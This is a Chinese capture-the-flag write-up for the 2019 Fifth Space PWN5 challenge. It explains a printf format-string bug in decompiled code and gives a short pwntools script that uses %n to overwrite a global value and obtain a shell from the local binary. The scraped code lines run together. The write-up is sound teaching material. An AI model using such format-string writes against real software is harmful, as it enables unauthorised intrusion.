[CTF][第五空间2019 决赛]PWN5 1

2024-06-04 17:38
文章标签 ctf 空间 2019 决赛 第五 pwn5

本文主要是介绍[CTF][第五空间2019 决赛]PWN5 1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

解题思路

反编译后的源码:

  srand(__seed);// 生成随机数iVar1 = open("/dev/urandom",0);read(iVar1,&DAT_0804c044,4);printf("your name:");// 读取输入read(0,local_78,99);printf("Hello,");// 打印输入printf(local_78);printf("your passwd:");read(0,local_88,0xf);iVar1 = atoi(local_88);// 判断输入密码是否与前面的随机数相等。if (iVar1 == DAT_0804c044) {puts("ok!!");system("/bin/sh");}else {puts("fail");}

经过分析,找到突破口:printf(local_78); 该处会原样打印输入。可利用格式化输出写入或打印相关值。
知识点:
%xc%y$n
y为需要写入的地址值,x为输出长度,也是需要覆写的值。其中y一般利用栈上的数据。

那需要解决的问题如下:
如何覆写DAT_0804c044的值,使之与后续输入的密码相等。

  1. DAT_0804c044的地址
    DAT_0804c044为全局变量,可以直接使用该变量虚拟地址0x0804c044。

  2. 如何覆写
    gdb调试发现,printf的时候,栈上并没有可利用的值。
    经过一番实验、搜索、再实验(很痛苦漫长的过程)后,找到下述方法:
    利用输入构造需要写入的地址
    难点在于找到可以利用该地址的堆栈位置,寻找方法:输入AAAA%x$p, x为栈上存储输入的相对位置,一般不会太远。当输出伟AAAA0x41414141时,即为所找位置。
    找到该位置后,即可编写脚本:

  1 from pwn import *23 sh = process('./2019pwn5')4 sh.recvuntil('e:')5 sh.sendline(p32(0x0804c044) + b'%1c%10$n') // 10为找到的栈上相对位置6 sh.recvuntil('d:')7 sh.sendline('5') // 4个字节的地址+1个字节 = 58 sh.interactive()

附录即为寻找到的方法,文章中更进一步的,提到了利用printf执行shellcode的方法,即将shellcode写入
.fini_array段中。当然,本题不需要,但是是可以借鉴的一个点。

附录:

  1. printf Format String Exploitation

这篇关于[CTF][第五空间2019 决赛]PWN5 1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1030677

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【高等代数笔记】线性空间(一到四)

3. 线性空间 令 K n : = { ( a 1 , a 2 , . . . , a n ) ∣ a i ∈ K , i = 1 , 2 , . . . , n } \textbf{K}^{n}:=\{(a_{1},a_{2},...,a_{n})|a_{i}\in\textbf{K},i=1,2,...,n\} Kn:={(a1​,a2​,...,an​)∣ai​∈K,i=1,2,...,n

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

win7系统中C盘空间缩水的有效处理方法

一、深度剖析和完美解决   1、 休眠文件 hiberfil.sys :   该文件在C盘根目录为隐藏的系统文件,隐藏的这个hiberfil.sys文件大小正好和自己的物理内存是一致的,当你让电脑进入休眠状态时,Windows 7在关闭系统前将所有的内存内容写入Hiberfil.sys文件。   而后,当你重新打开电脑,操作系统使用Hiberfil.sys把所有信息放回内存,电脑

求空间直线与平面的交点

若直线不与平面平行,将存在交点。如下图所示,已知直线L过点m(m1,m2,m3),且方向向量为VL(v1,v2,v3),平面P过点n(n1,n2,n3),且法线方向向量为VP(vp1,vp2,vp3),求得直线与平面的交点O的坐标(x,y,z): 将直线方程写成参数方程形式,即有: x = m1+ v1 * t y = m2+ v2 * t

[Linux]:环境变量与进程地址空间

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 环境变量 1.1 概念 **环境变量(environment variables)**一般是指在操作系统中用来指定操作系统运行环境的一些参数,具有全局属性,可以被子继承继承下去。 如:我们在编写C/C++代码的时,在链接的时候,我们并不知

【编程底层原理】方法区、永久代和元空间之间的关系

Java虚拟机(JVM)中的内存布局经历了几个版本的变更,其中方法区、永久代和元空间是这些变更中的关键概念。以下是它们之间的关系: 一、方法区: 1、方法区是JVM规范中定义的一个概念,它用于存储类信息、常量、静态变量、即时编译器编译后的代码等数据。 3、它是JVM运行时数据区的一部分,与堆内存一样,是所有线程共享的内存区域。 二、永久代(PermGen): 1、在Java SE 7之前,

算法复杂度 —— 数据结构前言、算法效率、时间复杂度、空间复杂度、常见复杂度对比、复杂度算法题(旋转数组)

目录 一、数据结构前言 1、数据结构 2、算法 3、学习方法 二、 算法效率 引入概念:算法复杂度  三、时间复杂度 1、大O的渐进表示法 2、时间复杂度计算示例  四、空间复杂度 计算示例:空间复杂度 五、常见复杂度对比 六、复杂度算法题(旋转数组) 1、思路1 2、思路2 3、思路3 一、数据结构前言 1、数据结构         数据结构(D

Oracle 查看表空间名称及大小和删除表空间及数据文件方法

--1、查看表空间的名称及大小  SELECT t.tablespace_name, round(SUM(bytes / (1024 * 1024)), 0) ts_size  FROM dba_tablespaces t, dba_data_files d  WHERE t.tablespace_name = d.tablespace_name  GROUP BY t.tablespace_na

气膜场馆:乡村振兴中的健康与经济新引擎—轻空间

随着乡村振兴战略的深入推进,气膜场馆作为新兴建筑形式,正在为农村地区带来全新的发展机遇。它不仅是乡村百姓锻炼身体的好去处,更是带动当地经济发展的强劲动力。 首先,气膜场馆为农村地区的居民提供了更多运动健身的机会。与传统体育设施相比,气膜场馆建设周期短、成本低,非常适合在乡村快速推广。通过提供羽毛球、篮球、排球等多种运动项目,村民可以在空闲时间增强体质,改善生活方式。这对于长期从事农业劳动的村